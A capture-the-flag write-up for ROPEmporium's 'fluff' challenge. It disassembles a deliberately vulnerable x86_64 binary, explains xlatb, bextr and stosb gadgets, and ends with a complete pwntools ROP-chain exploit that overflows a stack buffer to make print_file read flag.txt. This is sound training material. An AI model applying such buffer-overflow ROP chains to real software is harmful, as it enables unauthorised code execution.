ROPEmporium: Challenge 6

Here is a writeup for challenge 6 of ROPEmporium. I did this quite a while ago, but I’d like to document it here. I may produce writeups for the earlier challenges.

Preliminaries

We have three files to work with:

» ls
flag.txt  fluff  libfluff.so  

Always run the binary to see what it does first:

» ./fluff
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> two words, BK, NY, Bed-Stuy, too harsh, too hungry, too many, that's why
Thank you!
[1]    189937 segmentation fault (core dumped)  ./fluff

Great, it segfaults. A sanity check to always run, given a new binary to play with, is to scan the security features:

» checksec fluff
[*] '/home/░░░/src/ropemporium/rop_emporium_all_challenges/6/fluff'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'

We have NX - of course, as this is a ROP challenge - and PIE is off, so we don’t need to worry about any complicated techniques to leak offsets.

Determine a strategy

We have a file called flag.txt, so clearly we want to dump its contents. We check for functions which may be of use:

» rabin2 -s fluff
[Symbols]

nth paddr      vaddr      bind   type   size lib name
―――――――――――――――――――――――――――――――――――――――――――――――――――――
5   ---------- 0x00601038 GLOBAL NOTYPE 0        _edata
6   ---------- 0x00601040 GLOBAL NOTYPE 0        _end
...
56  0x00000640 0x00400640 GLOBAL FUNC   101      __libc_csu_init
59  0x00000550 0x00400550 GLOBAL FUNC   2        _dl_relocate_static_pie
60  0x00000520 0x00400520 GLOBAL FUNC   43       _start
62  0x00000607 0x00400607 GLOBAL FUNC   16       main
63  ---------- 0x00601038 GLOBAL OBJ    0        __TMC_END__
1   0x00000500 0x00400500 GLOBAL FUNC   16       imp.pwnme
2   ---------- 0x00000000 GLOBAL FUNC   16       imp.__libc_start_main
3   ---------- 0x00000000 WEAK   NOTYPE 16       imp.__gmon_start__
4   0x00000510 0x00400510 GLOBAL FUNC   16       imp.print_file

pwnme is an obvious point of interest. We take a look in a disassembler; it lives in the library we’ve been given a copy of, libfluff.so:

» rabin2 -s libfluff.so | rg pwn  
18  0x000008aa 0x000008aa GLOBAL FUNC   153      pwnme
» r2 -e bin.cache=true -Aq -s 0x000008aa -c pd libfluff.so
            ;-- rip:
┌ 153: sym.pwnme ();
│           ; var void *buf @ rbp-0x20
│           0x000008aa      55             push rbp
│           0x000008ab      4889e5         mov rbp, rsp
│           0x000008ae      4883ec20       sub rsp, 0x20
│           0x000008b2      488b05270720.  mov rax, qword [0x00200fe0] ; [0x200fe0:8]=0x2010d8 reloc.stdout
│           0x000008b9      488b00         mov rax, qword [rax]
│           0x000008bc      b900000000     mov ecx, 0                  ; size_t size
│           0x000008c1      ba02000000     mov edx, 2                  ; int mode
│           0x000008c6      be00000000     mov esi, 0                  ; char *buf
│           0x000008cb      4889c7         mov rdi, rax                ; FILE*stream
│           0x000008ce      e8bdfeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│           0x000008d3      488d3d060100.  lea rdi, str.fluff_by_ROP_Emporium ; sym..rodata
│                                                                      ; 0x9e0 ; "fluff by ROP Emporium" ; const char *s
│           0x000008da      e851feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000008df      488d3d100100.  lea rdi, str.x86_64_n       ; 0x9f6 ; "x86_64\n" ; const char *s
│           0x000008e6      e845feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000008eb      488d45e0       lea rax, [buf]
│           0x000008ef      ba20000000     mov edx, 0x20               ; "@" ; size_t n
│           0x000008f4      be00000000     mov esi, 0                  ; int c
│           0x000008f9      4889c7         mov rdi, rax                ; void *s
│           0x000008fc      e85ffeffff     call sym.imp.memset         ; void *memset(void *s, int c, size_t n)
│           0x00000901      488d3df80000.  lea rdi, str.You_know_changing_these_strings_means_I_have_to_rewrite_my_solutions... ; 0xa00 ; "You know changing these strings means I have to rewrite my solutions..." ; const char *s
│           0x00000908      e823feffff     call sym.imp.puts           ; int puts(const char *s)
│           0x0000090d      488d3d340100.  lea rdi, [0x00000a48]       ; "> " ; const char *format
│           0x00000914      b800000000     mov eax, 0
│           0x00000919      e832feffff     call sym.imp.printf         ; int printf(const char *format)
│           0x0000091e      488d45e0       lea rax, [buf]
│           0x00000922      ba00020000     mov edx, 0x200              ; size_t nbyte
│           0x00000927      4889c6         mov rsi, rax                ; void *buf
│           0x0000092a      bf00000000     mov edi, 0                  ; int fildes
│           0x0000092f      e83cfeffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
│           0x00000934      488d3d100100.  lea rdi, str.Thank_you_     ; 0xa4b ; "Thank you!" ; const char *s
│           0x0000093b      e8f0fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x00000940      90             nop
│           0x00000941      c9             leave
└           0x00000942      c3             ret

This is the subroutine we ended up in when we tried out the binary at the beginning. We have a call to read, at which point we can feed 0x200 bytes into a buffer of size 0x20. This is our vulnerability.

To actually dump flag.txt, the imported symbol print_file a strong candidate. We can confirm that it does what we expect it to do with a disassembler:

» rabin2 -s libfluff.so | rg print_file
16  0x00000943 0x00000943 GLOBAL FUNC   140      print_file
» r2 -e bin.cache=true -Aq -s 0x00000943 -c pd libfluff.so
            ;-- rip:
┌ 140: sym.print_file (char *arg1);
│           ; var char *filename @ rbp-0x38
│           ; var char *s @ rbp-0x30
│           ; var file*stream @ rbp-0x8
│           ; arg char *arg1 @ rdi
│           0x00000943      55             push rbp
│           0x00000944      4889e5         mov rbp, rsp
│           0x00000947      4883ec40       sub rsp, 0x40
│           0x0000094b      48897dc8       mov qword [filename], rdi   ; arg1
│           0x0000094f      48c745f80000.  mov qword [stream], 0
│           0x00000957      488b45c8       mov rax, qword [filename]
│           0x0000095b      488d35f40000.  lea rsi, [0x00000a56]       ; "r" ; const char *mode
│           0x00000962      4889c7         mov rdi, rax                ; const char *filename
│           0x00000965      e836feffff     call sym.imp.fopen          ; file*fopen(const char *filename, const char *mode)
│           0x0000096a      488945f8       mov qword [stream], rax
│           0x0000096e      48837df800     cmp qword [stream], 0
│       ┌─< 0x00000973      7522           jne 0x997
│       │   0x00000975      488b45c8       mov rax, qword [filename]
│       │   0x00000979      4889c6         mov rsi, rax
│       │   0x0000097c      488d3dd50000.  lea rdi, str.Failed_to_open_file:__s_n ; 0xa58 ; "Failed to open file: %s\n" ; const char *format
│       │   0x00000983      b800000000     mov eax, 0
│       │   0x00000988      e8c3fdffff     call sym.imp.printf         ; int printf(const char *format)
│       │   0x0000098d      bf01000000     mov edi, 1                  ; int status
│       │   0x00000992      e819feffff     call sym.imp.exit           ; void exit(int status)
│       │   ; CODE XREF from sym.print_file @ 0x973
│       └─> 0x00000997      488b55f8       mov rdx, qword [stream]     ; FILE *stream
│           0x0000099b      488d45d0       lea rax, [s]
│           0x0000099f      be21000000     mov esi, 0x21               ; '!' ; int size
│           0x000009a4      4889c7         mov rdi, rax                ; char *s
│           0x000009a7      e8d4fdffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)
│           0x000009ac      488d45d0       lea rax, [s]
│           0x000009b0      4889c7         mov rdi, rax                ; const char *s
│           0x000009b3      e878fdffff     call sym.imp.puts           ; int puts(const char *s)
│           0x000009b8      488b45f8       mov rax, qword [stream]
│           0x000009bc      4889c7         mov rdi, rax                ; FILE *stream
│           0x000009bf      e87cfdffff     call sym.imp.fclose         ; int fclose(FILE *stream)
│           0x000009c4      48c745f80000.  mov qword [stream], 0
│           0x000009cc      90             nop
│           0x000009cd      c9             leave
└           0x000009ce      c3             ret

So, it reads and prints the file we provide in the rdi register. We somehow need to pass print_file an address which points at the string flag.txt. We quickly check for the string in the binary:

» rabin2 -zzz fluff | rg flag
» 

Out of luck - we’re going to have to perform some trickery to build the string ourselves. So our strategy is:

  1. Find a writeable memory region (WMR)
  2. Find gadgets to let us write to this region
  3. Find gadgets to let us load the address of the WMR into rdi
  4. Use these gadgets to synthesise a payload which will call print_file, and trick it into dumping flag.txt
  5. Do all this, plus offset, in 0x200 bytes, and feed it into pwnme

Finding a WMR

To find a WMR, we can dump the section table:

» rabin2 -S fluff
[Sections]

nth paddr        size vaddr       vsize perm name
―――――――――――――――――――――――――――――――――――――――――――――――――
0   0x00000000    0x0 0x00000000    0x0 ---- 
1   0x00000238   0x1c 0x00400238   0x1c -r-- .interp
2   0x00000254   0x20 0x00400254   0x20 -r-- .note.ABI-tag
3   0x00000274   0x24 0x00400274   0x24 -r-- .note.gnu.build-id
4   0x00000298   0x38 0x00400298   0x38 -r-- .gnu.hash
5   0x000002d0   0xf0 0x004002d0   0xf0 -r-- .dynsym
6   0x000003c0   0x7b 0x004003c0   0x7b -r-- .dynstr
7   0x0000043c   0x14 0x0040043c   0x14 -r-- .gnu.version
8   0x00000450   0x20 0x00400450   0x20 -r-- .gnu.version_r
9   0x00000470   0x30 0x00400470   0x30 -r-- .rela.dyn
10  0x000004a0   0x30 0x004004a0   0x30 -r-- .rela.plt
11  0x000004d0   0x17 0x004004d0   0x17 -r-x .init
12  0x000004f0   0x30 0x004004f0   0x30 -r-x .plt
13  0x00000520  0x192 0x00400520  0x192 -r-x .text
14  0x000006b4    0x9 0x004006b4    0x9 -r-x .fini
15  0x000006c0   0x10 0x004006c0   0x10 -r-- .rodata
16  0x000006d0   0x44 0x004006d0   0x44 -r-- .eh_frame_hdr
17  0x00000718  0x120 0x00400718  0x120 -r-- .eh_frame
18  0x00000df0    0x8 0x00600df0    0x8 -rw- .init_array
19  0x00000df8    0x8 0x00600df8    0x8 -rw- .fini_array
20  0x00000e00  0x1f0 0x00600e00  0x1f0 -rw- .dynamic
21  0x00000ff0   0x10 0x00600ff0   0x10 -rw- .got
22  0x00001000   0x28 0x00601000   0x28 -rw- .got.plt
23  0x00001028   0x10 0x00601028   0x10 -rw- .data
24  0x00001038    0x0 0x00601038    0x8 -rw- .bss
25  0x00001038   0x29 0x00000000   0x29 ---- .comment
26  0x00001068  0x618 0x00000000  0x618 ---- .symtab
27  0x00001680  0x1fb 0x00000000  0x1fb ---- .strtab
28  0x0000187b  0x103 0x00000000  0x103 ---- .shstrtab

.data is a good bet, and it has space for the string we want to write; we’ll pick 0x006001028 as our target region, then.

Dump the available gadgets

We discover what we have to work with. I like ROPgadget for this task, but whatever works. I’ll heavily snip this section to spare the reader’s sanity.

» ROPgadget --binary ./fluff --depth 20 | head -n -2 | sed '1,2d' | sort
0x0000000000400278 : adc al, 0 ; add byte ptr [rax], al ; add eax, dword ptr [rax] ; add byte ptr [rax], al ; push rbp ; add byte ptr [rbx], ch ; adc al, 0xd9 ; in eax, 0xfb ; jp 0x4002f6 ; retf 0x8bc4
0x0000000000400279 : add byte ptr [rax], al ; add byte ptr [rbx], al ; add byte ptr [rax], al ; add byte ptr [rdi + 0x4e], al ; push rbp ; add byte ptr [rbx], ch ; adc al, 0xd9 ; in eax, 0xfb ; jp 0x4002f6 ; retf 0x8bc4
...
0x0000000000400604 : pop rbp ; jmp 0x400590
0x0000000000400605 : jmp 0x400590
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400611 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040061e : add al, bpl ; jmp 0x400621
...
0x0000000000400624 : call qword ptr [rax - 0x3c283ca3]
0x0000000000400625 : nop ; pop rbp ; ret
0x0000000000400628 : xlatb ; ret
0x000000000040062a : pop rdx ; pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
0x000000000040062b : pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
0x000000000040062c : add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret
...
0x0000000000400636 : neg ecx ; ret
0x0000000000400637 : fld st(3) ; stosb byte ptr [rdi], al ; ret
0x0000000000400639 : stosb byte ptr [rdi], al ; ret
0x000000000040068c : fmul qword ptr [rax - 0x7d] ; ret
0x0000000000400691 : cmp rbp, rbx ; jne 0x400680 ; add rsp, 8 ; pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
...
0x00000000004006a1 : pop rsi ; pop r15 ; ret
0x00000000004006a2 : pop r15 ; ret
0x00000000004006a3 : pop rdi ; ret
0x00000000004006a5 : nop ; nop word ptr cs:[rax + rax] ; ret
0x00000000004006a6 : nop word ptr cs:[rax + rax] ; ret
...
0x00000000004007c3 : call qword ptr [rcx]
0x00000000004007e3 : jmp qword ptr [rbp]

We now stare at this wall of gadgets for a long, long time. Specifically, what we need is:

  • Gadgets to write to rdi, so we can control the argument passed to print_file
  • Gadgets to write to our RW address

The former of these is easy - there’s a pop rdi gadget. The latter is significantly harder - in a bit of a “here’s one I made earlier” moment, here is the solution I landed on.

Writing to WMR

We need the details of a couple of more obscure opcodes.

First off, see here for an explanation of stosb:

Stores a byte, word, or doubleword from the AL, AX, or EAX register, respectively, into the destination operand. The destination operand is a memory location, the address of which is read from either the ES:EDI or the ES:DI registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). The ES segment cannot be overridden with a segment override prefix.

So we can use this gadget:

0x0000000000400639 : stosb byte ptr [rdi], al ; ret

to write the byte in al to an address in WMR, which we’ve loaded into rdi. We know we can control rdi, because we have this gadget:

0x00000000004006a3 : pop rdi ; ret

The missing piece of the puzzle is writing into al. For this we can use this gadget:

0x0000000000400628 : xlatb ; ret

We look up the docs:

Locates a byte entry in a table in memory, using the contents of the AL register as a table index, then copies the contents of the table entry back into the AL register. The index in the AL register is treated as an unsigned integer. The XLAT and XLATB instructions get the base address of the table in memory from either the DS:EBX or the DS:BX registers (depending on the address-size attribute of the instruction, 32 or 16, respectively). (The DS segment may be overridden with a segment override prefix.)

The no-operands form (XLATB) provides a “short form” of the XLAT instructions. Here also the processor assumes that the DS:(E)BX registers contain the base address of the table.

So we can use this to write to al, based on the contents of al and ebx. The method to do this is pretty convoluted - we can:

  1. Set al to an unsigned integer N
  2. Load byte we want into the Nth byte of ebx
  3. Trigger this xlatb command. This will move the byte into al

We can do step 1 with the following gadget, since we don’t mind what lives in rbp:

0x0000000000400610 : mov eax, 0 ; pop rbp ; ret

But step 2 is much less clear. Our best bet for control of ebx is the following gadget:

0x000000000040062a : pop rdx ; pop rcx ; add rcx, 0x3ef2 ; bextr rbx, rcx, rdx ; ret

Which uses the command bextr. We head to the docs once more:

Extracts contiguous bits from the first source operand (the second operand) using an index value and length value specified in the second source operand (the third operand). Bit 7:0 of the second source operand specifies the starting bit position of bit extraction. A START value exceeding the operand size will not extract any bits from the second source operand. Bit 15:8 of the second source operand specifies the maximum number of bits (LENGTH) beginning at the START position to extract. Only bit positions up to (OperandSize -1) of the first source operand are extracted. The extracted bits are written to the destination register, starting from the least significant bit. All higher order bits in the destination operand (starting at bit position LENGTH) are zeroed. The destination register is cleared if no bits are extracted.

In our situation, the first source operand is rcx - which we have complete control of, remembering to subtract 0x3ef2 - and the second source operand is rdx, which again we have complete control of. In short, we’re going to set rdx such that its least significant 8 bits are 0, and we’ll set it’s most significant bits to 1. This is overkill, as we obviously can’t extract 0xff bits, but there’s no point underdoing it.

A caveat

It turns out that when we try to implement this, it makes for too long a chain. We need to trim this down - we can do this by fine-tuning our approach in the previous chapter.

The trick is that we will no longer bother to control al explicitly. Instead, we will make use of the fact that when we come to call stosb on the ith character, the (i-1)th character is still loaded into al. So, we can just pick the address carefully - rather than setting ebx to be the base address we want to write to, we can shift it back such that, when stosb is called, it:

  • Reads the (i-1)th character, from al, as an unsigned int N
  • Writes our next byte into the address we provide, plus an offset of N

So we need to subtract the previous character from our target address (while still remembering we need to subtract 0x3ef2!). For the very first character, we fire up gdb + gef to work out what lives in al at the first command after the read call returns. (Note we get the address to breakpoint at by adding its offset from the base of pwnme in libfluff.so’s symbol table, to the base address pwnme is loaded into in fluff. We’ve seen all of these numbers already)

» python -c "print('A'*50)" | gdb fluff -ex 'b *0x0040058a' -ex 'r'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xb               
$rbx   : 0x00007fffffffdbc8  →  0x00007fffffffdf79  →  "/home/░░░/src/ropemporium/rop_emporium_all_chall[...]"
$rcx   : 0x00007ffff7af4f97  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x1               
$rsp   : 0x00007fffffffdaa8  →  "AAAAAAAAAA\n"
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x1               
$rdi   : 0x00007ffff7bf39b0  →  0x0000000000000000
$rip   : 0x00007ffff7c00942  →  <pwnme+152> ret 
$r8    : 0x00000000004006b0  →  <__libc_csu_fini+0> repz ret
$r9    : 0x00007ffff7fcbae0  →   endbr64 
$r10   : 0x00007ffff79f9608  →  0x000e001200001a64
$r11   : 0x246             
$r12   : 0x0               
$r13   : 0x00007fffffffdbd8  →  0x00007fffffffdfb9  →  "COLORFGBG=15;0"
$r14   : 0x0               
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2a0  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 

So it looks like when we first start, we’ll have a value of 0xb loaded into al.

The very last thing to check is what length buffer of garbage characters we should have before we start our chain. I usually do this by feeding in longer and longer chains until I can see data begin to fill the return pointer (the calculations are tricky and there’s architectural variation). In this case, though, the above console output actually tells us everything we need - we fed in 50 bytes of the character A, and it looks like exactly 10 of them made it into rsp. So our offset is 40 bytes.

The finished product

Here is a full POC for the ROPchain.

from pwn import *
target=process('./fluff')
target.recvline

# Location of the imported print_file symbol
printFile = p64(0x00400510)
# Writable memory region to build "flag.txt" in
readWriteAddr = 0x00601028

## Gadget locations
# pop rdi; ret;
popRdi = p64(0x00000000004006a3) 
# stosb byte ptr [rdi], al; ret;
stosb = p64(0x0000000000400639)
# pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
popRdx_popAndShiftRcx_bextr = p64(0x000000000040062a)
# xlatb; ret;
xlatb = p64(0x0000000000400628)

def writeByteChain(byteLocation, address, prevChar):
    """ Build a chain which will write a byte into a given address

    byteLocation        -- the location of the byte to read from
    address                     -- the address to write [byteLocation] to
    prevChar            -- the previous character that was written
    """
    p = b''
    p += popRdx_popAndShiftRcx_bextr
    p += p64(0xff00)
    p += p64(byteLocation - prevChar - 0x3ef2)
    p += xlatb
    p += popRdi
    p += address
    p += stosb
    return p

# Find the offset in the binary of each byte of the string "flag.txt"
# We just hope we get a null pointer at the end
flagDotTxt = list('flag.txt')
def getLocation(char):
    return open('fluff', 'rb').read().find(char)
flagChrLocations = [(0x400000 + getLocation(ord(ch))) for ch in flagDotTxt]

payload = b'A'*40
payload += writeByteChain(flagChrLocations[0], p64(readWriteAddr), 0xb)
for i in range(1, 8):
    payload += writeByteChain(flagChrLocations[i], p64(readWriteAddr + i), ord(flagDotTxt[i-1]))

# Call print_file, passing it a pointer to our string
payload += popRdi
payload += p64(readWriteAddr)
payload += printFile

target.sendline(payload)
target.interactive()

And the flag drops out :)